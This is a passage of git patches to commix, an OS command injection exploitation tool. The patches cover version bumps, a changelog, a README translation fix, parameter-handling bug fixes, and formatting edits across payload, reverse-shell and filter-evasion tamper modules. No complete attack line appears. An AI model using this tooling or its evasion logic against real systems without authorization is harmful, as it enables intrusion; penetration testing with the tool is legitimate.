common.read_input(message, default=None, check_batch=True) + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -121,9 +120,8 @@ def set_python_working_dir(): if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) + message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -141,9 +139,8 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" - message += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) + message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d3fbacd29b..7ae42eac2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -293,10 +293,12 @@ def sys_argv_errors(): # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" +WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" USER_DEFINED_PYTHON_DIR = False # Default (linux) target host's python interpreter LINUX_PYTHON_INTERPRETER = "python3" +LINUX_CUSTOM_PYTHON_INTERPRETER = "python27" USER_DEFINED_PYTHON_INTERPRETER = False CMD_NUL = "" From 9061b277069e1fdb631a74fa26745be1502225d2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Jul 2023 17:54:28 +0300 Subject: [PATCH 331/560] Potential fix for https://github.com/commixproject/commix/issues/807, https://github.com/commixproject/commix/issues/760 --- src/core/injections/controller/controller.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 262b731db4..4dd10dcf03 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index 7ae42eac2e..15840de653 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 697d855f56fc6bdd31bd4026496ad2f70cc2f02e Mon Sep 17 00:00:00 2001 From: Galih Anggoro Prasetya <83481679+galihap76@users.noreply.github.com> Date: Tue, 8 Aug 2023 09:36:02 +0700 Subject: [PATCH 332/560] Update README-idn-IDN.md Fixing the meaning of the word indonesian. --- doc/translations/README-idn-IDN.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 4f3855f13c..65743cd494 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -28,14 +28,14 @@ Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tar ## Penggunaan -Untuk mendapatkan daftar semua opsi dan sakelar gunakan: +Untuk mendapatkan daftar semua opsi dan beralih gunakan: $ python commix.py -h -Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, sakelar dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. ## Link -* Panduan: https://github.com/commixproject/commix/wiki +* Panduan : https://github.com/commixproject/commix/wiki * Pelacak masalah : https://github.com/commixproject/commix/issues From 265d8a54acace23dc39d917d7bcb63e5fd60b7c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Aug 2023 08:47:32 +0300 Subject: [PATCH 333/560] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9ab158dee8..1cd90877e5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). From f489312f355e79ed4e76d7814074c41754e18ad4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Aug 2023 11:43:18 +0300 Subject: [PATCH 334/560] Updated to v3.8 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1cd90877e5..a7e9dd3fac 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.8 (TBA) +## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). @@ -16,6 +16,8 @@ * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._ + ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/setup.py b/setup.py index dce7dc683a..804f1feb6a 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.8-dev', + version='3.8', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 15840de653..5913a8ffcd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" REVISION = "44" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 6cbdd5c4d13b689cf2a9278e46a29113b341af15 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 27 Aug 2023 09:23:07 +0300 Subject: [PATCH 335/560] Potential fix for https://github.com/commixproject/commix/issues/857 --- setup.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 804f1feb6a..c024e4cfa4 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.8', + version='3.9-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 94d987a73c..909a3df612 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -345,7 +345,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: check_start = 0 check_how_long = 0 - output = False + output = "" return check_how_long, output diff --git a/src/utils/settings.py b/src/utils/settings.py index 5913a8ffcd..f1be06caf8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.8" -REVISION = "44" -STABLE_RELEASE = True +VERSION_NUM = "3.9" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 579d2cfacb7271b87e44b4e4dfc6ee3f159a21e9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 28 Aug 2023 09:24:11 +0300 Subject: [PATCH 336/560] Potential fix for https://github.com/commixproject/commix/issues/858 --- src/core/requests/parameters.py | 22 +++++++++++----------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1f083aeb29..b729f42f44 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -139,10 +139,10 @@ def multi_params_get_value(parameter): # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param]) + settings.INJECT_TAG else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter @@ -326,14 +326,14 @@ def multi_params_get_value(param, all_params): if len(value) == 0: if not menu.options.skip_empty: if settings.IS_JSON: - all_params[param] = all_params[param].replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") + all_params[param] = ''.join(all_params[param]).replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") elif settings.IS_XML: - all_params[param] = all_params[param].replace(">" + settings.INJECT_TAG + "" + settings.INJECT_TAG + " Date: Fri, 1 Sep 2023 09:18:39 +0300 Subject: [PATCH 337/560] Minor refactoring --- src/core/injections/controller/checks.py | 8 ++--- src/core/injections/controller/controller.py | 10 +++---- src/core/injections/controller/parser.py | 2 +- .../techniques/file_based/fb_injector.py | 2 +- src/core/main.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 30 +++++++++---------- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 4 +-- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 14 ++++----- 18 files changed, 46 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index dfc82f995e..9575cfacec 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1135,11 +1135,11 @@ def check_skipped_params(check_parameters, http_request_method): """ def print_non_listed_params(check_parameters, http_request_method, header_name): if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"") + testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(",") non_exist_param = list(set(testable_parameters) - set(check_parameters)) if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"") + non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: @@ -2286,11 +2286,11 @@ def add_command_substitution(cmd): Remove command substitution on provided command """ def remove_command_substitution(cmd): - cmd = cmd.replace("echo $(","").replace(")","") + cmd = cmd.replace("echo $(", "").replace(")", "") return cmd def remove_parenthesis(cmd): - cmd = cmd.replace("(","").replace(")","") + cmd = cmd.replace("(", "").replace(")", "") return cmd """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4dd10dcf03..1846a1892e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -103,7 +103,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: @@ -113,7 +113,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -161,7 +161,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: @@ -171,7 +171,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -384,7 +384,7 @@ def user_agent_injection(url, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" - settings.HTTP_HEADER = header_name[1:].replace("-","").lower() + settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = None diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 9f13df06c5..4d09910fe7 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -172,7 +172,7 @@ def invalid_data(request): else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('","") + match = match.replace("('", "") match = match.replace("')","\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 28a00bbba7..78ac91973d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -337,7 +337,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r","") for newline in shell] + shell = [newline.replace("\r", "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except _urllib.error.HTTPError as e: diff --git a/src/core/main.py b/src/core/main.py index b836223a8e..d54e4c705b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -400,7 +400,7 @@ def main(filename, url): menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") + menu.options.tech = menu.options.tech.replace(skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e708cba555..ec69042e21 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -26,7 +26,7 @@ if menu.options.cookie: if settings.INJECT_TAG in menu.options.cookie: - menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") default_cookie = menu.options.cookie """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 10e9e853b8..282397fd0e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -318,7 +318,7 @@ def do_check(request): try: authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") + realm = authobj[1].split(',')[0].replace("\"", "") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] password = user_pass_pair[1] diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index b729f42f44..ed92072ed3 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -110,7 +110,7 @@ def multi_params_get_value(parameter): parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) return urls_list else: @@ -146,7 +146,7 @@ def multi_params_get_value(parameter): parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) else: for param in range(0,len(multi_parameters)): @@ -154,7 +154,7 @@ def multi_params_get_value(parameter): parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) return urls_list @@ -181,7 +181,7 @@ def vuln_GET_param(url): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: @@ -292,7 +292,7 @@ def multi_params_get_value(param, all_params): parameter = parameter + settings.INJECT_TAG else: parameter = parameter.replace(value, value + settings.INJECT_TAG) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") return parameter else: return multi_parameters @@ -335,7 +335,7 @@ def multi_params_get_value(param, all_params): all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") if type(parameter) != list: parameters_list.append(parameter) parameter = parameters_list @@ -345,7 +345,7 @@ def multi_params_get_value(param, all_params): # Grab the value of parameter. value = multi_params_get_value(param, multi_parameters) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") return parameter @@ -392,7 +392,7 @@ def vuln_POST_param(parameter, url): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: @@ -489,7 +489,7 @@ def multi_params_get_value(parameter): cookie = cookie + settings.INJECT_TAG else: cookie = cookie.replace(value, value + settings.INJECT_TAG) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie # Check if multiple parameters are supplied. @@ -524,7 +524,7 @@ def multi_params_get_value(parameter): all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list @@ -534,7 +534,7 @@ def multi_params_get_value(parameter): value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) cookie = settings.COOKIE_DELIMITER.join(multi_parameters) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie @@ -555,7 +555,7 @@ def specify_cookie_parameter(cookie): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: inject_cookie = cookie @@ -566,7 +566,7 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") return user_agent @@ -574,7 +574,7 @@ def specify_user_agent_parameter(user_agent): The referer based injection. """ def specify_referer_parameter(referer): - settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") return referer @@ -582,7 +582,7 @@ def specify_referer_parameter(referer): The host based injection. """ def specify_host_parameter(host): - settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") return host diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 98fdf36b33..bac0b20b53 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -71,7 +71,7 @@ def msf_launch_msg(output): print(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") + sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6d10cdbb25..8c512882e0 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -86,7 +86,7 @@ def msf_launch_msg(output): print(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") + sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -538,7 +538,7 @@ def other_reverse_shells(separator): for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") + unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break except: unicorn_version = "" diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index b14bf0e23d..2b8fe8d8db 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -36,7 +36,7 @@ def add_back_slashes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index c80bb74a82..fe693ce9df 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -39,7 +39,7 @@ def add_caret_symbol(payload): "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") + re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") } payload = re.sub(r'([b-zD-Z])', r'^\1', payload) rep = dict((re.escape(k), v) for k, v in rep.items()) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 2fb8d61fa6..8f1f4e52e8 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -34,7 +34,7 @@ def add_dollar_at_signs(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 1a56ebde91..98ff400547 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -42,7 +42,7 @@ def add_double_quotes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.EVAL_BASED_STATE != False: diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 7820579b49..bb3849ea68 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -34,7 +34,7 @@ def add_single_quotes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 98f05c9536..16d9d0adaf 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -38,7 +38,7 @@ def add_uninitialized_variable(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = 